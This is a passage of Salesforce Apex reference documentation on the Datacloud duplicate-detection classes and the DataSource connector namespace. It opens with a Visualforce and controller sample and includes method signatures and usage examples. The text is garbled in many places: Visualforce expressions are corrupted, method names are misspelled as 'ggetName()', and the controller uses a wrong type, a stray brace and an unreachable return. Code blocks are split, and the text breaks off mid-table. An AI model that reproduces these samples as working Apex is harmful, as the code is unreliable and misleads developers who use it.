        <apex:pageBlockTable value="{"duplicateRecords}" var="item">
            <apex:column>
                <apex:facet name="header">Name</apex:facet>
                <apex:outputLink value="/{"item['Id']}"">{"item['Name']}"</apex:outputLink>
            </apex:column>
            <apex:column>
                <apex:facet name="header">Owner</apex:facet>
                <apex:outputField value="{"item['OwnerId']}"/>
            </apex:column>
            <apex:column>
                <apex:facet name="header">Last Modified Date</apex:facet>
                <apex:outputField value="{"item['LastModifiedDate']}"/>
            </apex:column>
        </apex:pageBlockTable>
        <apex:pageBlock title="Contact" mode="edit">
            <apex:pageBlockButtons/>
            <apex:commandButton value="Save" action="{"save}"/>
        </apex:pageBlock>
        <apex:inputField value="{"Contact.FirstName}"/>
        <apex:inputField value="{"Contact.LastName}"/>
        <apex:inputField value="{"Contact.Email}"/>
        <apex:inputField value="{"Contact.Phone}"/>
        <apex:inputField value="{"Contact.AccountId}"/>
    </apex:form>
</apex:page>
```

This sample is the Apex controller for the page. This controller contains the action method for the Save button. The `save` method inserts the new contact. If errors are returned, this method iterates through each error, checks if it’s a duplicate error, adds the error message to the page, and returns information about the duplicate records to be displayed on the page.

```xml
public class ContactDedupeController {
    // Initialize a variable to hold the contact record you're processing
```
private final Contact contact;

// Initialize a list to hold any duplicate records
private List<sObject> duplicateRecords;

// Define variable that’s true if there are duplicate records
public boolean hasDuplicateResult{get;set;}

// Define the constructor
public ContactDedupeController() {

    // Define the values for the contact you’re processing based on its ID
    Id id = ApexPages.currentPage().getParameters().get('id');
    this.contact = (id == null) ? new Contact() :
        [SELECT Id, FirstName, LastName, Email, Phone, AccountId
        FROM Contact WHERE Id = :id];

    // Initialize empty list of potential duplicate records
    this.duplicateRecords = new List<sObject>();
    this.hasDuplicateResult = false;
}

// Return contact and its values to the Visualforce page for display
public Contact getContact() {
    return this.contact;
}

// Return duplicate records to the Visualforce page for display
public List<sObject> getDuplicateRecords() {
    return this.duplicateRecords;
}

// Process the saved record and handle any duplicates
public PageReference save() {

    // Optionally, set DML options here, use “DML” instead of “false”
    // in the insert()
    Database.DMLOptions dml = new Database.DMLOptions();
    // dml.DuplicateRuleHeader.allowSave = true;
    // dml.DuplicateRuleHeader.runAsCurrentUser = true;
    Database.SaveChanges saveResult = Database.insert(contact, false);

    if (!saveResult.isSuccess()) {
        for (Database.Error error : saveResult.getErrors()) {
            // If there are duplicates, an error occurs
            // Process only duplicates and not other errors
            // (e.g., validation errors)
            if (error instanceof Database.DuplicateError) {
                // Handle the duplicate error by first casting it as a
                // DuplicateError class
                // This lets you use methods of that class
                // (e.g., getDuplicateResult())
                Database.DuplicateError duplicateError =
                    (Database.DuplicateError)error;
Datacloud.DuplicateResult duplicateResult =
    duplicateError.getDuplicateResult();

// Display duplicate error message as defined in the duplicate rule
ApexPages.Message errorMessage = new ApexPages.Message(
    ApexPages.Severity.ERROR, 'Duplicate Error: ' +
    duplicateResult.getErrorMessage());
ApexPages.addMessage(errorMessage);

// Get duplicate records
this.duplicateRecords = new List<sObject>();

// Return only match results of matching rules that
// find duplicate records
Datacloud.MatchResult[] matchResults =
    duplicateResult.getMatchResults();

// Just grab first match result (which contains the
// duplicate record found and other match info)
Datacloud.MatchResult matchResult = matchResults[0];

Datacloud.MatchRecord[] matchRecords = matchResult.getMatchRecords();

// Add matched record to the duplicate records variable
for (Datacloud.MatchRecord matchRecord : matchRecords) {
    System.debug('MatchRecord: ' + matchRecord.getRecord());
    this.duplicateRecords.add(matchRecord.getRecord());
}
this.hasDuplicateResult = !this.duplicateRecords.isEmpty();

//If there’s a duplicate record, stay on the page
return null;

// After save, navigate to the view page:
return (new ApexPages.StandardController(contact)).view();

IN THIS SECTION:
  DuplicateResult Methods

SEE ALSO:
  SaveResult Class
  DuplicateError Class
**DuplicateResult Methods**

The following are methods for **DuplicateResult**.

**IN THIS SECTION:**

- **getDuplicateRule()**
  Returns the developer name of the executed duplicate rule that returned duplicate records.

- **getErrorMessage()**
  Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is associated with a duplicate rule.

- **getMatchResults()**
  Returns the duplicate records and match information.

- **isAllowSave()**
  Indicates whether the duplicate rule will allow a record that’s identified as a duplicate to be saved. Set to **true** if duplicate rule should allow save; otherwise, **false**.

**getDuplicateRule()**

Returns the developer name of the executed duplicate rule that returned duplicate records.

**Signature**

```
public String getDuplicateRule()
```

**Return Value**

**Type:** String

**getErrorMessage()**

Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is associated with a duplicate rule.

**Signature**

```
public String getErrorMessage()
```

**Return Value**

**Type:** String

**Example**

This example shows the code used to display the error message when duplicates are found while saving a new contact. This code is part of a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate records. Review **DuplicateResult Class** on page 2408 to check out the entire sample application.

```Apex
ApexPages.Message errorMessage = new ApexPages.Message{
    ApexPages.Severity.ERROR, 'Duplicate Error: ' +
  ```
getMatchResults()

Returns the duplicate records and match information.

Signature

public List<Datacloud.MatchResult> getMatchResults()

Return Value

Type: List<Datacloud.MatchResult>

Example

This example shows the code used to return duplicate record and match information and assign it to the matchResults variable. This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page 2408 to check out the entire sample application.

```java
Datacloud.MatchResult[] matchResults =
    duplicateResult.getMatchResults();
```

isAllowSave()

Indicates whether the duplicate rule will allow a record that's identified as a duplicate to be saved. Set to true if duplicate rule should allow save; otherwise, false.

Signature

public Boolean isAllowSave()

Return Value

Type: Boolean

FieldDiff Class

Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.

Namespace

Datacloud

IN THIS SECTION:

FieldDiff Methods
FieldDiff Methods

The following are methods for FieldDiff.

IN THIS SECTION:

getDifference()

Returns how the field values compare for the duplicate and its matching record.

ggetName()

Returns the name of a field on a matching rule that detected duplicates.

getDifference()

Returns how the field values compare for the duplicate and its matching record.

Signature

`public String getDifference()`

Return Value

Type: String

Possible values include:

- **SAME**: Indicates the field values match exactly.
- **DIFFERENT**: Indicates that the field values do not match.
- **NULL**: Indicates that the field values are a match because both values are blank.

ggetName()

Returns the name of a field on a matching rule that detected duplicates.

Signature

`public String getName()`

Return Value

Type: String

FindDuplicates Class

Performs rule-based searches for duplicate records. The input is an array of sObjects. Each sObject represents a record you want to find duplicates of. The output identifies the detected duplicates for each input sObject based on active duplicate rules for the given object.

Namespace

Datacloud
FindDuplicates Methods

The following are methods for FindDuplicates.

findDuplicates(sObjects)
Identifies duplicates for sObjects provided and returns a list of FindDuplicatesResult objects.

Usage

Use FindDuplicates to apply active duplicate rules associated with an object to records represented by input sObjects. FindDuplicates uses the duplicate rules for the object that has the same type as the input sObjects.

Input

- All sObjects in the input array must be of the same object type, and that type must correspond to an object type that supports duplicate rules.
- The input array is limited to 50 elements. If you exceed this limit, an exception is thrown with the following message: Configuration error: The number of records to check is greater than the permitted batch size.

Output

- The output of FindDuplicates is an array of objects with the same number of elements as the input array, and in the same order. The output objects encapsulate record IDs for duplicate records. The output objects also contain values from the duplicate records.
- Each element contains an array of DuplicateResult objects. If FindDuplicates doesn't find any duplicates, the duplicateRule field in DuplicateResult contains the name of the duplicate rule that FindDuplicates applied, but the matchResults array is empty.

Example

```java
Account acct = new Account();
acct.Name = 'Acme';
acct.BillingStreet = '123 Fake St';
acct.BillingCity = 'Springfield';
acct.BillingState = 'VT';
acct.BillingCountry = 'US';

List<Account> acctList = new List<Account>();
acctList.add(acct);

if (Datacloud.FindDuplicates.findDuplicates(acctList).size() == 0) {
    // If the new account doesn't have duplicates, insert it.
```
Signature

```java
public static List<Datacloud.FindDuplicatesResult> findDuplicates(List<SObject> sObjects)
```

Parameters

- `sObjects`  
  Type: `List<SObject>`  
  An array of SObjects for which you want to find duplicates.

Return Value

Type: `List<FindDuplicatesResult>`

FindDuplicatesByIds Class

Performs rule-based searches for duplicate records. The input is an array of IDs. Each ID specifies records to search for duplicates among. The duplicates are detected based on the active duplicate rules applicable to the object type corresponding to the input IDs.

Namespace

Datacloud

IN THIS SECTION:

FindDuplicatesByIds Methods

FindDuplicatesByIds Methods

The following are methods for `FindDuplicatesByIds`.

IN THIS SECTION:

- `findDuplicatesByIds(ids)`  
  Identifies duplicates of sObjects provided and returns a list of `FindDuplicatesResult` objects.

**findDuplicatesByIds(ids)**

Identifies duplicates of sObjects provided and returns a list of `FindDuplicatesResult` objects.

Usage

Use `FindDuplicatesByIds` to apply active duplicate rules associated with an object to records represented by the record IDs. `FindDuplicatesByIds` uses the duplicate rules for the object that has the same type as the input record IDs. For example, if the record ID represents an Account, `FindDuplicatesByIds` uses the duplicate rules associated with the Account object.
Input

- All record IDs in the input array must be of the same object type, and that type must correspond to an object type that supports duplicate rules.
- The input array is limited to 50 elements. If you exceed this limit, an exception is thrown with the following message: Configuration error: The number of records to check is greater than the permitted batch size.

Output

- The output of FindDuplicatesByIds is an array of objects with the same number of elements as the input array, and in the same order. The output objects encapsulate record IDs for duplicate records. The output objects also contain values from the duplicate records.
- Each element contains an array of DuplicateResult objects. If FindDuplicatesByIds doesn’t find any duplicates, the duplicateRule field in DuplicateResult contains the name of the duplicate rule that FindDuplicatesByIds applied, but the matchResults array is empty.

Example

```apex
Account acct = new Account(name='Salesforce');
insert acct;

List<Id> idList = new List<Id>();
idList.add(acct.id);

if (Datacloud.FindDuplicatesByIds.findDuplicatesByIds(idList).size() > 0) {
    System.debug('Found duplicates');
}
```

Signature

```apex
public static List<Datacloud.FindDuplicatesResult> findDuplicatesByIds(List<Id> ids)
```

Parameters

- **ids**
  Type: `List<Id>`
  A list of IDs for which you want to find duplicates.

Return Value

Type: `List<Datacloud.FindDuplicatesResult>`

FindDuplicatesResult Class

Output for rule-based searches for duplicate records. FindDuplicatesResult contains results of detecting duplicates using instances of FindDuplicates or FindDuplicatesByIds classes.

Namespace

Datacloud
FindDuplicatesResult Properties

The following are properties for FindDuplicatesResult.

**duplicateresults**

A list of DuplicateResult objects representing the results of calling FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids). Elements in the list correspond to sObjects or IDs in the input list.

**errors**

A list of Database.Error objects holding errors resulting from calling FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids).

**success**

Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids) was successful.

---

**duplicateresults**

A list of DuplicateResult objects representing the results of calling FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids). Elements in the list correspond to sObjects or IDs in the input list.

**Signature**

```java
public List<Datacloud.DuplicateResult> duplicateresults
```

**Property Value**

Type: `List<DuplicateResult>`

**errors**

A list of Database.Error objects holding errors resulting from calling FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids).

**Signature**

```java
public List<Database.Error> errors {get; set;}
```

**Property Value**

Type: `List<Database.Error>`
success
Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids) was successful.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

FindDuplicatesResult Methods
The following are methods for FindDuplicatesResult.

IN THIS SECTION:
getDuplicateResults()
Returns a list of DuplicateResult objects representing the results of calling FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids). Elements in the list correspond to sObjects or IDs in the input list.

getErrors()
Returns a list of DatabaseError objects containing errors resulting from calling FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids), if errors were encountered.

isSuccess()
Returns a Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids) was successful.

getDuplicateResults()
Returns a list of DuplicateResult objects representing the results of calling FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids). Elements in the list correspond to sObjects or IDs in the input list.

Example
Account acct = new Account(name='Salesforce');
List<Account> acctList = new List<Account>();
acctList.add(acct);

Datacloud.FindDuplicatesResult[] results = Datacloud.FindDuplicates.findDuplicates(acctList);
for (Datacloud.FindDuplicatesResult findDupeResult : results) {
    for (Datacloud.DuplicateResult dupeResult : findDupeResult.getDuplicateResults()) {
        for (Datacloud.MatchResult matchResult : dupeResult.getMatchResults()) {
            System.debug('Duplicate Record: ' + matchResult.getRecord());
        }
    }
}
Signature
public List<Datacloud.DuplicateResult> getDuplicateResults()

Return Value
Type: List<DuplicateResult>

getErrors()
Returns a list of DatabaseError objects containing errors resulting from calling
FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids),
if errors were encountered.

Signature
public List<Database.Error> getErrors()

Return Value
Type: List<Database.Error>

isSuccess()
Returns a Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or
FindDuplicatesByIds.findDuplicatesByIds(ids) was successful.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

**MatchRecord Class**

Represents a duplicate record detected by a matching rule.

**Namespace**

Datacloud

IN THIS SECTION:

  MatchRecord Methods
MatchRecord Methods

The following are methods for MatchRecord.

IN THIS SECTION:

getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B fields in the matched record.

ggetFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.

getMatchConfidence()
Returns the ranking of how similar a matched record's data is to the data in your request. Must be equal to or greater than the value of the minMatchConfidence specified in your request. Returns -1 if unused.

getRecord()
Returns the fields and field values for the duplicate.

ggetAdditionalInformation() (method)

Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B fields in the matched record.

Signature

public List<Datacloud.AdditionalInformationMap> getAdditionalInformation()

Return Value

Type: List<Datacloud.AdditionalInformationMap>

ggetFieldDiffs() (method)

Returns all matching rule fields and how each field value compares for the duplicate and its matching record.

Signature

public List<Datacloud.FieldDiff> getFieldDiffs()

Return Value

Type: List<Datacloud.FieldDiff>

ggetMatchConfidence() (method)

Returns the ranking of how similar a matched record's data is to the data in your request. Must be equal to or greater than the value of the minMatchConfidence specified in your request. Returns -1 if unused.

Signature

public Double getMatchConfidence()
getRecord()
Returns the fields and field values for the duplicate.

Signature
public SObject getRecord()

Return Value
Type: SObject

MatchResult Class
Represents the duplicate results for a matching rule.

IN THIS SECTION:
MatchResult Methods

MatchResult Methods
The following are methods for MatchResult.

IN THIS SECTION:
getEntityType()
Returns the entity type of the matching rule.
getErrors()
Returns errors that occurred during matching for the matching rule.
getMatchEngine()
Returns the match engine for the matching rule.
getMatchRecords()
Returns information about the duplicates for the matching rule.
getRule()
Returns the developer name of the matching rule.
getSize()
Returns the number of duplicates detected by the matching rule.
isSuccess()
Returns false if there’s an error with the matching rule, and true if the matching rule successfully ran.
**getEntityType()**

Returns the entity type of the matching rule.

Signature

```java
public String getEntityType()
```

Return Value

Type: `String`

**getErrors()**

Returns errors that occurred during matching for the matching rule.

Signature

```java
public List<Database.Error> getErrors()
```

Return Value

Type: `List<Database.Error>`

**getMatchEngine()**

Returns the match engine for the matching rule.

Signature

```java
public String getMatchEngine()
```

Return Value

Type: `String`

**getMatchRecords()**

Returns information about the duplicates for the matching rule.

Signature

```java
public List<Datacloud.MatchRecord> getMatchRecords()
```

Return Value

Type: `List<Datacloud.MatchRecord>`

**getRule()**

Returns the developer name of the matching rule.
Signature
`public String getRule()`

Return Value
Type: String

`getSize()`
Returns the number of duplicates detected by the matching rule.

Signature
`public Integer getSize()`

Return Value
Type: Integer

`isSuccess()`
Returns `false` if there’s an error with the matching rule, and `true` if the matching rule successfully ran.

Signature
`public Boolean isSuccess()`

Return Value
Type: Boolean

**DataSource Namespace**

The `DataSource` namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop a custom adapter for Salesforce Connect. Then connect your Salesforce organization to any data anywhere via the Salesforce Connect custom adapter.

The following are the classes in the `DataSource` namespace.

**IN THIS SECTION:**

AsyncDeleteCallback Class
A callback class that the `Database.deleteAsync` method references. Salesforce calls this class after the remote `deleteAsync` operation is completed. This class provides the compensating transaction in the completion context of the delete operation. Extend this class to define the actions to execute after the remote delete operation finishes execution.

AsyncSaveCallback Class
A callback class that the `Database.insertAsync` or `Database.updateAsync` method references. Salesforce calls this class after the remote operation is completed. This class provides the compensating transaction in the completion context of the insert or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes execution.
AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.

AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.

Capability Enum
 Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data source definition.

Column Class
Describes a column on a DataSource.Table. This class extends the DataSourceUtil class and inherits its methods.

ColumnSelection Class
Identifies the list of columns to return during a query or search.

Connection Class
Extend this class to enable your Salesforce org to sync the external system’s schema and to handle queries, searches, and write operations (upsert and delete) of the external data. This class extends the DataSourceUtil class and inherits its methods.

ConnectionParams Class
Contains the credentials for authenticating to the external system.

DataSourceUtil Class
Parent class for the DataSource.Provider, DataSource.Connection, DataSource.Table, and DataSource.Column classes.

DataType Enum
 Specifies the data types that are supported by the Apex Connector Framework.

DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The class provides context information about the delete request to the implementor of deleteRows().

DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows method of the DataSource.Connection class.

Filter Class
Represents a WHERE clause in a SOSL or SOQL query.

FilterType Enum
Referenced by the type property on a DataSource.Filter.

IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.

Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.

OrderDirection Enum
Specifies the direction for sorting rows based on column values.

Provider Class
Extend this base class to create a custom adapter for Salesforce Connect. The class informs Salesforce of the functional and authentication capabilities that are supported by or required to connect to the external system. This class extends the DataSourceUtil class and inherits its methods.
QueryAggregation Enum
Specifies how to aggregate a column in a query.

QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance corresponds to a SOQL request.

QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.

SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance corresponds to a search or SOSL request.

SearchUtils Class
Helper class for implementing search on a custom adapter for Salesforce Connect.

Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the DataSourceUtil class and inherits its methods.

TableResult Class
Contains the results of a search or query.

TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the query.

UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class. This class provides context information about the upsert request to the implementor of upsertRows().

UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of the DataSource.Connection class.

DataSource Exceptions
The DataSource namespace contains exception classes.

AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote deleteAsync operation is completed. This class provides the compensating transaction in the completion context of the delete operation. Extend this class to define the actions to execute after the remote delete operation finishes execution.

Namespace
DataSource
IN THIS SECTION:
AsyncDeleteCallback Methods

AsyncDeleteCallback Methods
The following are methods for AsyncDeleteCallback.

IN THIS SECTION:
processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed. For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the Salesforce org..

processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed. For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the Salesforce org..

Signature
public void processDelete(Database.DeleteResult deleteResult)

Parameters
deleteResult
Type: Database.DeleteResult
The result of the asynchronous delete operation.

Return Value
Type: void

AsyncSaveCallback Class
A callback class that the Database.insertAsync or Database.updateAsync method references. Salesforce calls this class after the remote operation is completed. This class provides the compensating transaction in the completion context of the insert or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes execution.

Namespace
DataSource

IN THIS SECTION:
AsyncSaveCallback Methods
AsyncSaveCallback Methods

The following are methods for AsyncSaveCallback.

IN THIS SECTION:

processSave(saveResult)

Override this method to define actions that Salesforce executes after the remote Database.insertAsync or Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update custom object data or other data that’s stored in the Salesforce org.

**processSave(saveResult)**

Override this method to define actions that Salesforce executes after the remote Database.insertAsync or Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update custom object data or other data that’s stored in the Salesforce org.

**Signature**

```java
public void processSave(Database.SaveResult saveResult)
```

**Parameters**

**saveResult**

Type: Database.SaveResult

The result of the asynchronous insert or update operation.

**Return Value**

Type: void

AuthenticationCapability Enum

Specifies the types of authentication that can be used to access the external system.

**Usage**

The DataSource.Provider class returns DataSource.AuthenticationCapability enum values. The returned values determine which authentication settings are available on the external data source definition in Salesforce.

If you set up callouts in your DataSource.Connection class, you can specify the callout endpoints as named credentials instead of URLs. If you do so for all callouts, return ANONYMOUS as the sole entry in the list of data source authentication capabilities. That way, the external data source definition doesn’t require authentication settings. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.

**Enum Values**

The following are the values of the DataSource.AuthenticationCapability enum.
No credentials are required to authenticate to the external system.

A username and password can be used to authenticate to the external system.

A security certificate can be supplied when establishing each connection to the external system.

OAuth can be used to authenticate to the external system.

**AuthenticationProtocol Enum**

Determines what type of credentials are used to authenticate to the external system.

**Enum Values**

The following are the values of the `DataSource.AuthenticationProtocol` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
<td>No credentials are required to authenticate to the external system.</td>
</tr>
<tr>
<td>BASIC</td>
<td>A username and password can be used to authenticate to the external system.</td>
</tr>
<tr>
<td>CERTIFICATE</td>
<td>A security certificate can be supplied when establishing each connection to the external system.</td>
</tr>
<tr>
<td>OAUTH</td>
<td>OAuth can be used to authenticate to the external system.</td>
</tr>
</tbody>
</table>

**Capability Enum**

Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data source definition.

**Usage**

The `DataSource.Provider` class returns `DataSource.Capability` enum values, which:

- Specify the functional capabilities of the external system.
- Determine which endpoint settings are available on the external data source definition in Salesforce.

**Enum Values**

The following are the values of the `DataSource.Capability` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>QUERY_PAGINATION_SERVER_DRIVEN</td>
<td>With server-driven paging, the external system determines the page sizes and batch boundaries. The external system's paging settings can optimize the external system's performance and improve the load times for external objects in your org. Also, the external data set can change while your users or the Lightning Platform are paging through the result set. Typically, server-driven paging adjusts batch boundaries to accommodate changing data sets more effectively than client-driven paging.</td>
</tr>
</tbody>
</table>
If you enable server-driven paging on an external data source, Salesforce ignores the requested page sizes, including the default `queryMore()` batch size of 500 rows. The pages returned by the external system determine the batches, but each page can’t exceed 2,000 rows. Also, the Apex code must generate a query token and use it to determine and fetch the next batch of results.

### QUERY_TOTAL_SIZE
- The external system can provide the total number of rows that meet the query criteria, even when requested to return a smaller batch size. This capability enables you to simplify how you paginate results by using `queryMore()`.

### REQUIRE_ENDPOINT
- Requires the administrator to specify the endpoint in the URL field in the external data source definition.

### REQUIRE_HTTPS
- Requires the endpoint URL to use secure HTTP. If `REQUIRE_ENDPOINT` isn’t declared, `REQUIRE_HTTPS` is ignored.

### ROW_CREATE
- Allows creating of external data.

### ROW_DELETE
- Allows deleting external data.

### ROW_QUERY
- Allows API and SOQL queries of the external data. Also allows reports on the external objects.

### ROW_UPDATE
- Allows updating external data.

### SEARCH
- Allows SOSL and Salesforce searches of the external data.

When the custom adapter declares the `SEARCH` capability, you can control which external objects are searchable by selecting or deselecting `Allow Search` on each external object. However, syncing always overwrites the external object’s search status to match the search status of the external data source.

Only text, text area, and long text area fields on external objects can be searched. If an external object has no searchable fields, searches on that object return no records.

SEE ALSO:
- *Salesforce Help: Validate and Sync an External Data Source*

### Column Class

Describes a column on a `DataSource.Table`. This class extends the `DataSourceUtil` class and inherits its methods.

### Namespace

`DataSource`
### Usage

A list of column metadata is provided by the `DataSource.Connection` class when the `sync()` method is invoked. Each column can become a field on an external object.

The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the column metadata doesn’t automatically update the stored metadata in Salesforce.

### Column Properties

The following are properties for `Column`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>decimalPlaces</code></td>
<td>If the data type is numeric, the number of decimal places to the right of the decimal point.</td>
</tr>
<tr>
<td><code>description</code></td>
<td>Description of what the column represents.</td>
</tr>
<tr>
<td><code>filterable</code></td>
<td>Whether a result set can be filtered based on the values of the column.</td>
</tr>
<tr>
<td><code>label</code></td>
<td>User-friendly name for the column that appears in the Salesforce user interface.</td>
</tr>
<tr>
<td><code>length</code></td>
<td>If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number of digits on both sides of the decimal point, but excluding the decimal point.</td>
</tr>
<tr>
<td><code>name</code></td>
<td>Name of the column in the external system.</td>
</tr>
<tr>
<td><code>referenceTargetField</code></td>
<td>API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify related records in an indirect lookup relationship. Applies only when the column’s data type is <code>INDIRECT_LOOKUP_TYPE</code>. For other data types, this value is ignored.</td>
</tr>
<tr>
<td><code>referenceTo</code></td>
<td>API name of the parent object in the relationship that’s represented by this column. Applies only when the column’s data type is <code>LOOKUP_TYPE</code>, <code>EXTERNAL_LOOKUP_TYPE</code>, or <code>INDIRECT_LOOKUP_TYPE</code>. For other data types, this value is ignored.</td>
</tr>
<tr>
<td><code>sortable</code></td>
<td>Whether a result set can be sorted based on the values of the column via an <code>ORDER BY</code> clause.</td>
</tr>
<tr>
<td><code>type</code></td>
<td>Data type of the column.</td>
</tr>
</tbody>
</table>
**decimalPlaces**
If the data type is numeric, the number of decimal places to the right of the decimal point.

Signature
```java
public Integer decimalPlaces {get; set;}
```

Property Value
Type: `Integer`

**description**
Description of what the column represents.

Signature
```java
public String description {get; set;}
```

Property Value
Type: `String`

**filterable**
Whether a result set can be filtered based on the values of the column.

Signature
```java
public Boolean filterable {get; set;}
```

Property Value
Type: `Boolean`

**label**
User-friendly name for the column that appears in the Salesforce user interface.

Signature
```java
public String label {get; set;}
```

Property Value
Type: `String`

**length**
If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number of digits on both sides of the decimal point, but excluding the decimal point.
Signature

```java
public Integer length {get; set;}
```

Property Value
Type: Integer

**name**
Name of the column in the external system.

Signature

```java
public String name {get; set;}
```

Property Value
Type: String

**referenceTargetField**
API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify related records in an indirect lookup relationship. Applies only when the column’s data type is `INDIRECT_LOOKUP_TYPE`. For other data types, this value is ignored.

Signature

```java
public String referenceTargetField {get; set;}
```

Property Value
Type: String

**referenceTo**
API name of the parent object in the relationship that’s represented by this column. Applies only when the column’s data type is `LOOKUP_TYPE`, `EXTERNAL_LOOKUP_TYPE`, or `INDIRECT_LOOKUP_TYPE`. For other data types, this value is ignored.

Signature

```java
public String referenceTo {get; set;}
```

Property Value
Type: String

**sortable**
Whether a result set can be sorted based on the values of the column via an `ORDER BY` clause.
Signature

```java
public Boolean sortable {get; set;}
```

Property Value

Type: `Boolean`

**type**

Data type of the column.

Signature

```java
public DataSource.DataType type {get; set;}
```

Property Value

Type: `DataSource.DataType`

**Column Methods**

The following are methods for `Column`.

**IN THIS SECTION:**

- `boolean(name)`
  Returns a new column of data type `BOOLEAN_TYPE`.

- `externalLookup(name, domain)`
  Returns a new column of data type `EXTERNAL_LOOKUP_TYPE`.

- `get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces, referenceTo, referenceTargetField)`
  Returns a new column with the ten specified `Column` property values.

- `get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)`
  Returns a new column with the eight specified `Column` property values.

- `get(name, label, description, isSortable, isFilterable, type, length)`
  Returns a new column with the seven specified `Column` property values.

- `indirectLookup(name, domain, targetField)`
  Returns a new column of data type `INDIRECT_LOOKUP_TYPE`.

- `integer(name, length)`
  Returns a new numeric column with no decimal places using the specified name and length.

- `lookup(name, domain)`
  Returns a new column of data type `LOOKUP_TYPE`.

- `number(name, length, decimalPlaces)`
  Returns a new column of data type `NUMBER_TYPE`.

- `text(name, label, length)`
  Returns a new column of data type `STRING_SHORT_TYPE` or `STRING_LONG_TYPE`, with the specified name, label, and length.
text(name, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.

text(name)
Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.

textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.

url(name, length)
Returns a new column of data type URL_TYPE with the specified name and length.

url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.

boolean(name)
Returns a new column of data type BOOLEAN_TYPE.

Signature
public static DataSource.Column boolean(String name)

Parameters
name
Type: String
Name of the column.

Return Value
Type: DataSource.Column

textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.

externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.

Signature
public static DataSource.Column externalLookup(String name, String domain)

Parameters
name
Type: String
Name of the column.
domain
Type: String
API name of the parent object in the external lookup relationship.
Return Value

Type: `DataSource.Column`

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
